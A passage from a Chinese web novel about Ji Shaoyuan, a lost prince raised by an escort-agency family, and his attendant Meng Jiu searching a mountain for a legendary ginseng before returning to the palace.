准备将季少渊灭口的宫人动了恻隐之心,偷偷将季少渊交给一对江湖夫妇收养,这对江湖夫妇从小教他练武,后来开了龙门镖局,生意不断做大,季少渊也就成了龙门镖局的少东家。 十三岁跟着养父母跑镖时在庙里躲雨,恰好和留宿在庙里的皇帝相遇。 季贵妃绝代芳华,容颜艳冠北阙,季少渊的长相与她有六分相似,就连睫下红痣的位置都生的一模一样。 贵妃是皇帝心中挚爱,她郁郁而终后,唯一的孩子也成了皇帝的心头肉,简直是捧在掌心怕摔了含在嘴里怕坏了,和民间那些溺爱子女的父母一比,简直有过之而无不及。 孟玖是从小跟着季少渊跑镖的,看着自家主子从锦衣玉食的小少爷变成金尊玉贵的六皇子,缓了好长时间才缓过来。 自从到了皇宫里,别说季少渊,就是他也不习惯,江湖人习惯真刀实枪的干仗,红刀子进白刀子出那是一点不惧的,最怕天天打那些没完没了的机锋。 宫里这帮人精杀人不见血,得提起十二分精神防着这个防着那个,日子远不如以前自在。 自从进了皇宫,孟玖已经记不清主上有多久没笑过了。 正感叹着,忽听季少渊说道:“是该回去了。” 嘴上虽然劝着主子,但真要回去,孟玖也是不太情愿的,忍不住叹了口气:“这雾隐山有不少灵药,可殿下说的那个快成精的千年人参还是没找到,咱们只能空着手回去了。” 孟玖正想请罪,就见自家主子眉头一跳,唇角竟然绽开了一抹笑,悠悠说道:“谁说要空着手回去。”